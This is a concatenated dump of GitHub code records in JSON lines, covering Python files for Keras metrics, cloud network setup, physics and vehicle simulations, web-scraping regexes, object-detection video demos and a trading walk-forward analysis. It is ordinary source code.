fn_name # Keras requires function names\n \n return res\n\n\ndef get_metric_fn(cfg):\n if callable(cfg):\n return cfg\n \n if isinstance(cfg, str): # cfg is a str with no extra parameters:\n fn_name, fn_pars = cfg, {}\n else: # cfg is a tuple with (fn_name, fn_kwargs)\n fn_name, fn_pars = cfg\n \n if fn_name in LOSS_METRIC_ALIAS:\n fn, default_pars = LOSS_METRIC_ALIAS[fn_name]\n fn_pars = {**default_pars, **fn_pars}\n else:\n try: # search current_module for matched functions\n fn = getattr(current_module, fn_name)\n except: # search keras.metrics for matched functions\n fn = getattr(keras.losses, fn_name)\n \n res = partial(fn, **fn_pars)\n res.__name__ = fn_name # Keras requires function names\n \n return res\n\n######################################################\n######################################################\n\n\n# def binary_focal_loss_fixed(y_true, y_pred, gamma=2., alpha=.25):\n# \"\"\"\n# Binary form of focal loss.\n# FL(p_t) = -alpha * (1 - p_t)**gamma * log(p_t)\n# where p = sigmoid(x), p_t = p or 1 - p depending on if the label is 1 or 0, respectively.\n# References:\n# https://arxiv.org/pdf/1708.02002.pdf\n# :param y_true: A tensor of the same shape as `y_pred`\n# :param y_pred: A tensor resulting from a sigmoid\n# :return: Output tensor.\n# \"\"\"\n# pt_1 = tf.where(tf.equal(y_true, 1), y_pred, tf.ones_like(y_pred))\n# pt_0 = tf.where(tf.equal(y_true, 0), y_pred, tf.zeros_like(y_pred))\n\n# epsilon = K.epsilon()\n# # clip to prevent NaN's and Inf's\n# pt_1 = K.clip(pt_1, epsilon, 1. - epsilon)\n# pt_0 = K.clip(pt_0, epsilon, 1. - epsilon)\n\n# return -K.sum(alpha * K.pow(1. - pt_1, gamma) * K.log(pt_1)) \\\n# -K.sum((1 - alpha) * K.pow(pt_0, gamma) * K.log(1. - pt_0))\n\n\n# def categorical_focal_loss(target, output, gamma=2., alpha=.25, from_logits=False, axis=-1):\n# \"\"\" Softmax version of focal loss.\n# m\n# FL = ∑ -alpha * (1 - p_o,c)^gamma * y_o,c * log(p_o,c)\n# c=1\n# where m = number of classes, c = class and o = observation\n# Parameters:\n# alpha -- the same as weighing factor in balanced cross entropy\n# gamma -- focusing parameter for modulating factor (1-p)\n# Default value:\n# gamma -- 2.0 as mentioned in the paper\n# alpha -- 0.25 as mentioned in the paper\n# References:\n# Official paper: https://arxiv.org/pdf/1708.02002.pdf\n# https://www.tensorflow.org/api_docs/python/tf/keras/backend/categorical_crossentropy\n \n# :param y_true: A tensor of the same shape as `y_pred`\n# :param y_pred: A tensor resulting from a softmax\n# :return: Output tensor.\n# \"\"\"\n# # Scale predictions so that the class probas of each sample sum to 1\n# output /= K.sum(output, axis=-1, keepdims=True)\n\n# # Clip the prediction value to prevent NaN's and Inf's\n# epsilon = K.epsilon()\n# output = K.clip(output, epsilon, 1. - epsilon)\n\n# # Calculate Cross Entropy\n# cross_entropy = -target * K.log(output)\n\n# # Calculate Focal Loss\n# loss = alpha * K.pow(1 - output, gamma) * cross_entropy\n\n# return K.sum(loss, axis=-1)\n\n\n# def dice_coef_single(y_true, y_pred, smooth=1):\n# intersection = K.sum(y_true * y_pred, axis=[1,2,3])\n# union = K.sum(y_true, axis=[1,2,3]) + K.sum(y_pred, axis=[1,2,3])\n# return K.mean( (2. * intersection + smooth) / (union + smooth), axis=0)\n\n\n# def soft_dice_coef(y_true, y_pred):\n# y_true_f = K.flatten(y_true)\n# y_pred_f = K.flatten(y_pred)\n \n# prod = y_true_f * y_pred_f\n# intersection = K.sum(prod)\n \n# numer = 2. * intersection\n# denom = K.sum(y_true_f) + K.sum(y_pred_f) + K.epsilon()\n \n# return numer / denom\n\n\n# def iou_coef(y_true, y_pred, exclude_bg=True):\n# \"\"\" Calculate IoU coefficient for y_true ad y_pred\n# y_true: [batch_size, h, w, nb_classes]\n# y_pred: [batch_size, h, w, nb_classes]\n \n# Return: iou_coef for each classes. [batch_size, nb_classes (-1)]\n# Apply weight to each classes, use 0 to ignor background\n# weights = tf.convert_to_tensor([0, ...], dice_coef.dtype.base_dtype)\n# dice_coef *= weights / tf.reduce_sum(weights)\n# \"\"\"\n# nb_classes = y_pred.get_shape()[-1]\n# y_true = K.one_hot(K.argmax(y_true, axis=-1), num_classes=nb_classes)\n# y_pred = K.one_hot(K.argmax(y_pred, axis=-1), num_classes=nb_classes)\n# if exclude_bg:\n# y_true = y_true[..., 1:]\n# y_pred = y_pred[..., 1:]\n\n# axis = np.arange(1, K.ndim(y_pred)-1)\n# intersect = K.sum(y_true * y_pred, axis=axis)\n# union = K.sum(y_true + y_pred, axis=axis) - intersect\n# iou_coef = 1.0 * intersect/(union + K.epsilon())\n \n# return iou_coef\n\n","repo_name":"impromptuRong/DIPModels","sub_path":"utils_g/keras_layers.py","file_name":"keras_layers.py","file_ext":"py","file_size_in_byte":49021,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"1482083108","text":"from utils import *\nfrom framework import Sentence\n\n\ndef collect_tag_stats(sentences, tag_meta_info, cfg):\n \"\"\"\n For continuous values, calculate their means and variances.\n For discrete values, calculate their distributions.\n :param list[Sentence] sentences: Including the outputs of executable tags for all the scenarios.\n :param dict tag_meta_info: The output types of each tag.\n :rtype: list[dict]\n \"\"\"\n m = len(tag_meta_info['all'])\n collection = [dict() for _ in range(m)]\n\n # Collecting values\n for sentence in sentences:\n for tag_idx in range(m):\n values = sentence.tag[tag_idx].copy()\n if cfg.double_direction and tag_idx in tag_meta_info['diff']:\n values_ = list()\n for value in values:\n values_.append(value)\n values_.append(-value)\n values = values_\n for value in values:\n if value not in collection[tag_idx]:\n collection[tag_idx][value] = 0\n collection[tag_idx][value] += 1\n\n cont_cluster = tag_meta_info['cont']\n disc_cluster = tag_meta_info['disc']\n str_cluster = tag_meta_info['str']\n\n # Convert into Gaussian distributions\n for cont_idx in cont_cluster:\n collection[cont_idx] = np.array(weighted_mean_std(collection[cont_idx]))\n\n # Convert into categorical distributions\n for disc_idx in disc_cluster:\n n_type = len(collection[disc_idx])\n portion = np.zeros(shape=(n_type,), dtype=np.float64)\n for type_idx in range(n_type):\n portion[type_idx] = collection[disc_idx][type_idx]\n portion = portion / portion.sum()\n collection[disc_idx] = portion\n\n # Convert into categorical distributions\n for str_idx in str_cluster:\n cnt = np.sum(list(collection[str_idx].values()))\n for str_ in collection[str_idx]:\n collection[str_idx][str_] /= cnt\n\n return collection\n\n\ndef collect_word_freq(sentences, n):\n \"\"\"\n Calculate the distribution of words.\n :param list[Sentence] sentences: All the sentences for scenarios.\n :param int n: The vocabulary size.\n :return np.ndarray: Word frequencies.\n \"\"\"\n freq = np.zeros(shape=(n,), dtype=np.float64)\n for sentence in sentences:\n for word in sentence.mat.flatten():\n freq[word] += 1\n freq[-1] = 0\n # Normalization\n freq = normalize(freq)\n return freq\n\n\ndef collect_possible_values(sentences, tag_meta_info):\n \"\"\"\n Summarize all appeared values for numerical tag.\n :param list[Sentence] sentences: Including the outputs of executable tags for all the scenarios.\n :param dict tag_meta_info: The output types of each tag.\n :rtype: dict\n \"\"\"\n possible_values = {cont_idx: set() for cont_idx in tag_meta_info['cont']}\n for sentence in sentences:\n for cont_idx in tag_meta_info['cont']:\n values = sentence.tag[cont_idx]\n possible_values[cont_idx] = possible_values[cont_idx].union(values)\n return possible_values\n","repo_name":"hiaoxui/D2T-Grounding","sub_path":"estimator/_collect.py","file_name":"_collect.py","file_ext":"py","file_size_in_byte":3076,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"28"} +{"seq_id":"74704185035","text":"import oci\nfrom utils import convert_response_to_dict\nfrom utils import extract_value_by_field\nfrom utils import print_decorator\nfrom utils import error_handle\nfrom compartment_handlers import get_compartment_ocid_from_name\nfrom compartment_handlers import check_if_compartment_exist\nfrom compartment_handlers import check_if_compartment_is_active\n\n\n# Read config and create clients (identity,network,etc.)\nconfig = oci.config.from_file()\nidentity_client = oci.identity.IdentityClient(config)\n\n\n# Check if DRG exist by name\ndef check_if_drg_exist_by_name(client, compartment_ocid, drg_name):\n try:\n listDRGs = client.list_drgs(compartment_id=compartment_ocid)\n drgs = convert_response_to_dict(listDRGs)\n drg_name_extract = extract_value_by_field(drgs, \"display_name\")\n return True if drg_name in drg_name_extract else False\n except Exception as inst:\n exception = inst\n if inst.status and inst.message:\n error_handle(\"DRG\", inst.status, inst.message)\n else:\n error_handle(\"DRG\", \"UNKNOWN\", \"UNKNOWN ERROR MESSAGE\")\n return None\n\n\n# Check if DRG exist already by OCID and State in Compartment\ndef check_drg_ocid_is_available(client, compartment_ocid, drg_ocid):\n try:\n drg = client.get_drg(\n drg_id=drg_ocid, retry_strategy=oci.retry.DEFAULT_RETRY_STRATEGY)\n drg_dict = convert_response_to_dict(drg)\n if drg_dict is not None and drg_dict[\"lifecycle_state\"] == \"AVAILABLE\":\n return True\n else:\n return False\n except Exception as inst:\n exception = inst\n if inst.status and inst.message:\n error_handle(\"DRG\", inst.status, inst.message)\n else:\n error_handle(\"DRG\", \"UNKNOWN\", \"UNKNOWN ERROR MESSAGE\")\n return None\n\n\n# Get DRG OCID from DRG Name\ndef get_drg_match_ocid(client, compartment_ocid, drg_name):\n try:\n listDRGs = client.list_drgs(compartment_id=compartment_ocid)\n drgs = convert_response_to_dict(listDRGs)\n for drg in drgs:\n if drg[\"display_name\"] == drg_name:\n return drg[\"id\"]\n else:\n return None\n except Exception as inst:\n exception = inst\n if inst.status and inst.message:\n error_handle(\"DRG\", inst.status, inst.message)\n else:\n error_handle(\"DRG\", \"UNKNOWN\", \"UNKNOWN ERROR MESSAGE\")\n return None\n\n\n# Create DRG\ndef create_drg(client, drg):\n try:\n compartment_ocid = get_compartment_ocid_from_name(\n identity_client, config[\"tenancy\"], drg[\"compartment_name\"])\n drg_result = client.create_drg(\n oci.core.models.CreateDrgDetails(\n compartment_id=compartment_ocid,\n display_name=drg[\"name\"]\n )\n )\n drg = oci.wait_until(\n client,\n client.get_drg(drg_result.data.id),\n 'lifecycle_state',\n 'AVAILABLE'\n )\n print_decorator(\"CREATING DRG\")\n drg_new = convert_response_to_dict(drg)\n return drg_new[\"id\"]\n except Exception as inst:\n exception = inst\n if inst.status and inst.message:\n error_handle(\"DRG\", inst.status, inst.message)\n else:\n error_handle(\"DRG\", \"UNKNOWN\", \"UNKNOWN ERROR MESSAGE\")\n return None\n\n\n# Check and create DRG if doesn't exist\ndef check_create_drg(client, drg):\n matched_drg_ocid = None\n compartment_ocid = get_compartment_ocid_from_name(\n identity_client, config[\"tenancy\"], drg[\"compartment_name\"])\n drg_name_check = check_if_drg_exist_by_name(\n client, compartment_ocid, drg[\"name\"])\n compartment_exist_check = check_if_compartment_exist(\n identity_client, compartment_ocid)\n compartment_available_check = check_if_compartment_is_active(\n identity_client, compartment_ocid)\n if compartment_exist_check and compartment_available_check:\n print_decorator(\n \"COMPARTMENT EXIST AND IS IN AVAILABLE LIFECYCLE STATE\")\n if drg_name_check:\n matched_drg_ocid = get_drg_match_ocid(\n client, compartment_ocid, drg[\"name\"])\n drg_available_state = check_drg_ocid_is_available(\n client, compartment_ocid, matched_drg_ocid)\n if matched_drg_ocid is not None and drg_available_state:\n print_decorator(\"DRG ALREADY EXIST\")\n return matched_drg_ocid\n elif matched_drg_ocid is None:\n matched_drg_ocid = create_drg(client, drg)\n return matched_drg_ocid\n","repo_name":"vamsiramakrishnan/landing-zone","sub_path":"krishnan/landing-zone-final/drg_handlers.py","file_name":"drg_handlers.py","file_ext":"py","file_size_in_byte":4594,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"33004694700","text":"import turtle\nimport math\nimport itertools\n\n\nclass SolarSystemBody(turtle.Turtle):\n min_display_size = 20\n display_log_base = 1.1\n\n def __init__(self, solar_system, mass, position=[0, 0], velocity=[0, 0]):\n super().__init__()\n self.mass = mass\n self.setposition(position)\n self.velocity = velocity\n self.penup()\n self.hideturtle()\n solar_system.add_body(self)\n self.display_size = max(math.log(self.mass), self.display_log_base)\n\n def draw(self):\n self.clear()\n self.dot(self.display_size)\n\n def move(self):\n self.setx(self.xcor() + self.velocity[0]*0.02)\n self.sety(self.ycor() + self.velocity[1]*0.02)\n\n\nclass SolarSystem:\n def __init__(self, width, height):\n self.solar_system = turtle.Screen()\n self.solar_system.tracer(0) # what does this do?\n self.solar_system.setup(width, height)\n self.solar_system.bgcolor('black')\n self.bodies = []\n\n def add_body(self, body):\n self.bodies.append(body)\n\n def remove_body(self, body):\n self.bodies.remove(body)\n\n def get_acceleration(self, body1, body2):\n p1x, p1y = body1.xcor(), body1.ycor()\n p2x, p2y = body2.xcor(), body2.ycor()\n distanceX = (p2x-p1x)\n distanceY = (p2y - p1y)\n if (distanceX**2 + distanceY**2 == 0):\n return\n absoluteDistance = (distanceX**2 + distanceY**2)**(0.5)\n\n a = body2.mass / (distanceX**2 + distanceY**2)\n ax = a * (distanceX)/absoluteDistance\n print(f'ax {ax}')\n ay = a * (distanceY)/absoluteDistance\n return [ax, ay]\n\n def total_acc(self, chosen_body):\n acc = [0, 0]\n for body in self.bodies:\n if (body != chosen_body):\n new_acc = self.get_acceleration(chosen_body, body)\n acc[0] += new_acc[0]*0.02\n acc[1] += new_acc[1]*0.02\n chosen_body.velocity[0] += acc[0]\n chosen_body.velocity[1] += acc[1]\n\n def update_all(self):\n for body in self.bodies:\n body.move()\n body.draw()\n self.solar_system.update()\n\n pass\n\n\nclass Sun(SolarSystemBody):\n def __init__(self, solar_system, mass, position=[0, 0], velocity=[0, 0]):\n super().__init__(solar_system, mass, position, velocity)\n self.color('yellow')\n pass\n\n\nclass Planet(SolarSystemBody):\n colours = itertools.cycle(['red', 'green', 'yellow'])\n\n def __init__(self, solar_system, mass, position, velocity):\n super().__init__(solar_system, mass, position, velocity)\n self.color(next(Planet.colours))\n","repo_name":"Ademsk1/orbital-sim","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2632,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"72309797515","text":"from typing import List, Union, Optional\nimport numpy as np\nfrom highway_env.road.road import Road, LaneIndex, Route\nfrom highway_env.utils import Vector\nfrom highway_env.vehicle.controller import MDPVehicle\nfrom utils import bernstein_coeff_order10_arbitinterval\n\n\nclass PlanningVehicle(MDPVehicle):\n def __init__(self,\n road: Road,\n position: List[float],\n heading: float = 0,\n speed: float = 0,\n target_lane_index: Optional[LaneIndex] = None,\n target_speed: Optional[float] = None,\n target_speeds: Optional[Vector] = None,\n route: Optional[Route] = None) -> None:\n\n super().__init__(road, position, heading, speed, target_lane_index, target_speed, target_speeds, route)\n\n\n t_fin = 15.0\n self.num_up = 1500\n self.Ts = t_fin / self.num_up\n tot_time_up = np.linspace(0, t_fin, self.num_up).reshape(self.num_up, 1)\n self.P_up, self.Pdot_up, self.Pddot_up = bernstein_coeff_order10_arbitinterval.bernstein_coeff_order10_new(10,\n tot_time_up[\n 0],\n tot_time_up[\n -1],\n tot_time_up)\n self.cnt = 0\n self.a_controls = np.zeros(shape=self.num_up)\n self.steer_controls = np.zeros(shape=self.num_up)\n\n\n def act(self, action: Union[dict, str] = None) -> None:\n if action is not None:\n c_x = action[0:11]\n c_y = action[11:]\n\n a_best, steer_best = self.compute_controls(c_x, c_y)\n a_best_np = np.asarray(a_best)\n steer_best_np = np.clip(np.asarray(steer_best),-0.6,0.6)\n\n self.a_controls = a_best_np\n self.steer_controls = steer_best_np\n self.cnt = 0\n\n else:\n action = {\"steering\": self.steer_controls[self.cnt],\n \"acceleration\": self.a_controls[self.cnt]}\n self.action = action\n self.cnt += 1\n\n\n def compute_controls(self, c_x_best, c_y_best):\n\n xdot_best = np.dot(self.Pdot_up, c_x_best)\n ydot_best = np.dot(self.Pdot_up, c_y_best)\n\n xddot_best = np.dot(self.Pddot_up, c_x_best)\n yddot_best = np.dot(self.Pddot_up, c_y_best)\n\n curvature_best = (yddot_best * xdot_best - ydot_best * xddot_best) / (\n (xdot_best ** 2 + ydot_best ** 2) ** (1.5))\n steer_best = np.arctan(curvature_best * self.LENGTH / 2)\n\n v_best = np.sqrt(xdot_best ** 2 + ydot_best ** 2)\n a_best = np.diff(v_best, axis=0) / self.Ts\n\n return a_best, steer_best\n\n\n\n\n\n\n\n\n\n","repo_name":"jatan12/DiffProj","sub_path":"highway_env/vehicle/planning_controller.py","file_name":"planning_controller.py","file_ext":"py","file_size_in_byte":3138,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"28"} +{"seq_id":"8937226951","text":"#!/usr/bin/env python\n# encoding: utf-8\n\nimport sys\nreload(sys)\nsys.setdefaultencoding('utf-8')\nimport re\n\n#page_deep = re.compile(r'
    \\s*1/(.*?)',re.I|re.M|re.S)\npage_every = re.compile(r'1-(\\d+)条',re.I|re.S|re.M)\npage_total = re.compile(r'共(\\d+)条',re.I|re.S|re.M)\n\n\nitem_brand_model = re.compile(r'
      \\s*
    • 商品名称:(.*?)
    • \\s*
    • 生产厂家:(.*?)
    • .*?
    ',re.I|re.M|re.S)\n\nitem_store_title = re.compile(r'(.*?)',re.I|re.M|re.S)\n\nitem_store_desc = re.compile(r'',re.I|re.M|re.S)\n\nitem_store_ad = re.compile(r'(.*?)',re.I|re.M|re.S)\n\nitem_url = re.compile(r'\"http://www.amazon.cn/product-reviews/(.*?)\"\\s*>',re.I|re.M|re.S)\n\nitem_thumb = re.compile(r'src=\"(http://img\\d+.360buyimg.com/n5/.*?.jpg)\"',re.I|re.M|re.S)\n\nitem_category = re.compile(r'href=\"http://www.360buy.com/products/\\d+-\\d+-\\d+.html\">(.*?)',re.I|re.M|re.S)\n\nitem_pingpai = re.compile(r'品牌:(.*?),',re.I|re.M|re.S)\n\nitem_current_price = re.compile(r'(.*?)',re.I|re.S|re.M)\n\ndef item_price_image(shangping_id):\n\treturn \"http://price.360buyimg.com/gp%d,1.png\"%int(shangping_id)\n\ndef item_shangping(url):\n return re.compile(r'(.*?)',re.I|re.M|re.S)\n\ndef str2utf(str):\n if not str:\n return ''\n else:\n return str.decode('gb18030','ignore').encode('utf8')\n\ndef extract(rule, page, single = True):\n res = rule.findall(page)\n if res:\n if single:\n return res[0]\n else:\n return res\n else:\n return None\n\ndef gen_page(url,page_id):\n return url.replace(\"page=1\",\"page=%d\"%int(page_id))\n\ndef get_item_images(page):\n div = re.compile(r'(http://ec\\d+.images-amazon.com/images/I/.*?_AA300_.jpg)',re.I|re.M|re.S)\n div_html = div.findall(page)\n if div_html:\n return div_html[0]\n else:\n return None\n\ndef get_shangping_fenlei(title):\n _split = title.split('-')\n return (''.join(_split[0:-2]),_split[-2])\n\n\n","repo_name":"guangfeng/spy-sites","sub_path":"site_amazon_cn/rule.py","file_name":"rule.py","file_ext":"py","file_size_in_byte":2142,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"14458075357","text":"import torch\nfrom mmdet.apis import inference_detector, init_detector\nimport IPython\nimport cv2\nfrom io import BytesIO\nimport time\nimport PIL\nimport warnings\nimport numpy as np\nwarnings.filterwarnings('ignore')\n\n\ndef show_image(image_array, model, fps_s, format_='jpeg'):\n f = BytesIO()\n result = inference_detector(model, image_array)\n result[0][:, -1] = 0\n img_out = model.show_result(\n image_array,\n result,\n score_thr=0.35,\n show=False,\n font_scale=0.0,\n thickness=3,\n bbox_color='green',\n )\n fps = fps_s[-1] if fps_s else 0.0\n cv2.putText(img_out, str(fps)[:5], (1200, 20),\n cv2.FONT_HERSHEY_COMPLEX, 0.9, (0, 255, 0))\n \n img_out = cv2.cvtColor(img_out, cv2.COLOR_BGR2RGB)\n\n pil_img = PIL.Image.fromarray(img_out)\n pil_img.save(f, format=format_)\n IPython.display.display(IPython.display.Image(data=f.getvalue()))\n \n \ndef eval_video_stream(video_path, model_path, config_path, device):\n model = init_detector(config_path, model_path, device=device)\n video = cv2.VideoCapture(video_path)\n fpss = video.get(cv2.CAP_PROP_FPS)\n current_frame_num = 0\n fps_s = []\n try:\n\t while(True):\n\t t1 = time.time()\n\t video.set(cv2.CAP_PROP_POS_FRAMES, current_frame_num)\n\t _, frame = video.read()\n\t if frame is None:\n\t IPython.display.clear_output(wait=False)\n\t print('mean fps:', np.mean(fps_s))\n\t break\n\t show_image(frame, model, fps_s)\n\t t2 = time.time()\n\t lasts_frames = (t2 - t1)*fpss\n\t current_frame_num += lasts_frames\n\t fps_s.append(1 / (t2 - t1))\n\t IPython.display.clear_output(wait=True)\n except Exception:\n video.release()\n IPython.display.clear_output(wait=False)\n print(\"Stream stopped\")\n \n \n","repo_name":"ENOT-AutoDL/ENOTDataSphere","sub_path":"mmdet_tools/demo/video_demo.py","file_name":"video_demo.py","file_ext":"py","file_size_in_byte":1861,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"28"} +{"seq_id":"9275664091","text":"# https://community.backtrader.com/topic/501/walk-forward-analysis-demonstration\nfrom sklearn.model_selection import TimeSeriesSplit\nfrom sklearn.utils import indexable\nfrom sklearn.utils.validation import _num_samples\nimport numpy as np\n\n\ndef createWFAReport(simParams, simulations):\n # Create simulation report format\n reportColumns = ['grossProfit', 'grossAverageProfit', 'maxProfit',\n 'grossLoss', 'grossAverageLoss', 'maxLoss',\n 'netProfit', 'averageNetProfit', 'NAR',\n 'recoveryFactor', 'MDDLength', 'MDD',\n 'wonTrade', 'lossTrade', 'tradingTime',\n 'averageTradeTime', 'TradeNumber', 'maxValue',\n 'minValue', 'totalCommission']\n simulationReport = pd.DataFrame(columns=reportColumns)\n\n # Loop Simulations to create summary\n for simulation in simulations:\n '''some Calculation is done here'''\n return simReport\n\n\ndef WFASplit(self, trainBy='12m', testBy='3m', loopBy='m', overlap=True):\n startDate = self.index[0]\n endDate = self.index[-1]\n if trainBy[-1] is 'm':\n trainTime = relativedelta(months=int(trainBy[:-1])) # 取得训练时长,几个月\n else:\n raise ValueError\n if testBy[-1] is 'm':\n testTime = relativedelta(months=int(testBy[:-1])) # 取得测试时长,几个月\n else:\n raise ValueError\n assert ((relativedelta(endDate, startDate) - trainTime).days) > 0\n\n if loopBy is 'm':\n # 似乎是训练开始时间列表而不是测试开始时间。从startDate开始,以测试时长为步长,依次增加,直到endDate-trainTime\n test_starts = zip(rrule(MONTHLY, dtstart=startDate,\n until=endDate - trainTime, interval=int(testBy[:-1])))\n else:\n raise ValueError\n\n for i in test_starts:\n startD = i[0] # 转成日期,i是tuple他的第0个元素是日期\n endD = i[0] + trainTime\n yield (self[(self.index >= startD) & (self.index < endD)],\n self[(self.index >= endD) & (self.index < endD + testTime)])\n return None\n\n\ndef runTrain(trainTestGenerator, _ind, stockName):\n WFATrainResult = []\n for train, test in trainTestGenerator:\n logger.debug('{} Training Data:{} to {}'.format(stockName, pd.DatetimeIndex.strftime(\n train.head(1).index, '%Y-%m-%d'), pd.DatetimeIndex.strftime(train.tail(1).index, '%Y-%m-%d')))\n # Generate Indicator ResultSet\n trainer = bt.Cerebro(cheat_on_open=True,\n stdstats=False, optreturn=False)\n trainer.broker.set_cash(10000)\n # Add Commission\n IB = params['commission'](commission=0.0)\n trainer.broker.addcommissioninfo(IB)\n # Below Analyzer are used to calculate the Recovery Ratio\n trainer.addanalyzer(btanalyzers.TradeAnalyzer, _name='TradeAn')\n trainer.addanalyzer(\n recoveryAnalyzer, timeframe=params['analysisTimeframe'], _name='recoveryFac')\n trainer.addanalyzer(WFAAn, _name='WFAAna')\n trainer.addanalyzer(btanalyzers.TimeReturn,\n timeframe=bt.TimeFrame.Months, _name='TR')\n # SetBroker\n trainer.broker.set_checksubmit(False)\n # Copy for tester\n tester = deepcopy(trainer)\n # Optimize Strategy\n trainingFile = '{}/WFA'\n trainer.optstrategy(trainingIdea,\n inOrOut=(params['inOrOut'],),\n selfLog=(params['selfLog'],),\n indName=(row.indicator,),\n indFormula=(_ind['formula'],),\n entryExitPara=(_ind['entryExitParameters'],),\n indOutName=(_ind['indValue'],),\n nonOptParams=(None,),\n resultLocation=(params['resultLocation'],),\n timeString=(params['timeString'],),\n market=(row.market,),\n **optt)\n trainData = bt.feeds.PandasData(dataname=train)\n # Add a subset of data.\n trainer.adddata(trainData)\n optTable = trainer.run()\n final_results_list = []\n for run in optTable:\n for x in run:\n x.params['res'] = x.analyzers.WFAAna.get_analysis()\n final_results_list.append(x.params)\n\n _bestWFA = pd.DataFrame.from_dict(final_results_list, orient='columns').sort_values(\n 'res', ascending=False).iloc[0].to_dict()\n bestTrainParams = {key: _bestWFA[key] for key in _bestWFA if key not in [\n 'market', 'inOrOut', 'resultLocation', 'selfLog', 'timeString', 'res']}\n bestTrainParams = pd.DataFrame(bestTrainParams, index=[0])\n bestTrainParams['trainStart'] = train.iloc[0].name\n bestTrainParams['trainEnd'] = train.iloc[-1].name\n bestTrainParams['testStart'] = test.iloc[0].name\n bestTrainParams['testEnd'] = test.iloc[-1].name\n WFATrainResult.append(bestTrainParams)\n WFATrainResult = pd.concat(WFATrainResult)\n return WFATrainResult\n\n\ndef runTest(params, WFATrainResult, _ind, datafeed, stockName):\n # Generate Indicator ResultSet\n tester = bt.Cerebro(cheat_on_open=True)\n tester.broker.set_cash(10000)\n # Add Commission\n IB = params['commission'](commission=0.0)\n tester.broker.addcommissioninfo(IB)\n # SetBroker\n tester.broker.set_checksubmit(False)\n logger.debug('{} Start Testing'.format(stockName))\n OneSimHandler = logging.FileHandler(filename='{}/simulation/{}_{}_test.log'.format(\n params['resultLocation'], str(stockName), str(row.indicator)))\n OneSimHandler.setLevel(logging.DEBUG)\n OneSimHandler.setFormatter(logging.Formatter(\n \"%(asctime)s:%(relativeCreated)d - %(message)s\"))\n oneLogger.addHandler(OneSimHandler)\n tester.addstrategy(trainingIdea,\n inOrOut=params['inOrOut'],\n selfLog=params['selfLog'],\n indName=row.indicator,\n indFormula=_ind['formula'],\n entryExitPara=_ind['entryExitParameters'],\n indOutName=_ind['indValue'],\n nonOptParams=None,\n resultLocation=params['resultLocation'],\n timeString=params['timeString'],\n market=market,\n WFATestParams=WFATrainResult)\n data = bt.feeds.PandasData(dataname=datafeed)\n tester.adddata(data, name=stockName)\n # Add analyzers for Tester\n tester.addanalyzer(btanalyzers.DrawDown, _name='MDD')\n tester.addanalyzer(btanalyzers.TradeAnalyzer, _name='TradeAn')\n tester.addanalyzer(btanalyzers.SQN, _name='SQN')\n tester.addanalyzer(\n recoveryAnalyzer, timeframe=params['analysisTimeframe'], _name='recoveryFac')\n tester.addanalyzer(ITDDAnalyzer, _name='ITDD')\n tester.addanalyzer(simpleAn, _name='simpleAna')\n tester.addanalyzer(btanalyzers.TimeReturn,\n timeframe=bt.TimeFrame.Months, _name='TR')\n # Run and Return Cerebro\n cere = tester.run()[0]\n\n _report = cere.analyzers.simpleAna.writeAnalysis(bnhReturn)\n oneLogger.removeHandler(OneSimHandler)\n if params['plotGraph']:\n plotSimGraph(tester, params, stockName, row.indicator)\n return _report\n\n\n# 程序入口\n######################\nif __name__ == \"__main__\":\n session = 'WinsWFAProd'\n stockList, indicatorDict, params = jsonConfigMap(session)\n params['timeString'] = '0621_113833'\n params['topResult'] = pd.read_csv(\n '{}{}/consoReport.csv'.format(params['resultLocation'], params['timeString']), index_col=0)\n params['resultLocation'] += params['timeString'] + '/WFA'\n simulations = []\n\n try:\n # Create Folder\n shutil.rmtree(params['resultLocation'])\n except FileNotFoundError:\n pass\n except PermissionError:\n pass\n os.makedirs(params['resultLocation'], exist_ok=True)\n for element in ['order', 'trade', 'mr', 'ohlc', 'simulation', 'bestTrain', 'graph']:\n os.makedirs(params['resultLocation'] + '/' + element, exist_ok=True)\n # Create master Log\n handler = logging.FileHandler(\n filename='{}/Master.log'.format(params['resultLocation']))\n handler.setFormatter(logging.Formatter(\n '%(asctime)s:%(name)s - %(levelname)s {}- %(message)s'))\n logger = logging.getLogger()\n logger.setLevel(logging.DEBUG)\n logger.addHandler(handler)\n # Create OptReport Log\n reportHandler = logging.FileHandler(\n filename='{}/optReport.csv'.format(params['resultLocation']))\n reportHandler.setFormatter(logging.Formatter('%(message)s'))\n reportHandler.setLevel(logging.INFO)\n reportLogger = logging.getLogger('report')\n reportLogger.addHandler(reportHandler)\n simResultColumns = ['stockName', 'market', 'indicator',\n 'grossProfit', 'grossAverageProfit', 'maxProfit',\n 'grossLoss', 'grossAverageLoss', 'maxLoss',\n 'netProfit', 'averageNetProfit', 'NAR', 'profitFactor',\n 'recoveryFactor', 'MDDLength', 'MDD',\n 'selfMDD', 'winRate', 'tradingTimeRatio',\n 'averageTradingBar', 'tradeNumber', 'maxValue',\n 'minValue', 'initialv', 'totalCommission',\n 'barNumber', 'expectancy100', 'bnhReturn', 'bnhRatio']\n reportLogger.info(str(simResultColumns).strip(\n \"[]\").replace(\"'\", \"\").replace(\" \", \"\"))\n\n # Create Simulation Log\n oneLogger = logging.getLogger('oneLogger')\n oneLogger.propagate = False\n postHandler = logging.StreamHandler()\n postHandler.setLevel(logging.INFO)\n if params['selfLog']:\n oneLogger.setLevel(logging.DEBUG)\n else:\n oneLogger.setLevel(logging.INFO)\n oneLogger.addHandler(postHandler)\n # Record Start Time\n startTime = time.time()\n for row in params['topResult'].itertuples():\n simParams = pd.DataFrame(columns=['startTime', 'endTime', 'Parameter'])\n indicator = indicatorDict[row.indicator]\n stockName = row.stockName\n market = row.market\n try:\n optt = eval(indicator['optParam'])\n except:\n logger.info(\n '{}: Indicator does not have WFA parameters and skipped'.format(row.indicator))\n continue\n datafeed = feeder(stockName, market, params) # 这里应该是dataframe\n bnhReturn = round(\n datafeed.iloc[-1]['close'] - datafeed.iloc[0]['open'], 2)\n # Extract Feeder from Data to save time for multi-simulation\n 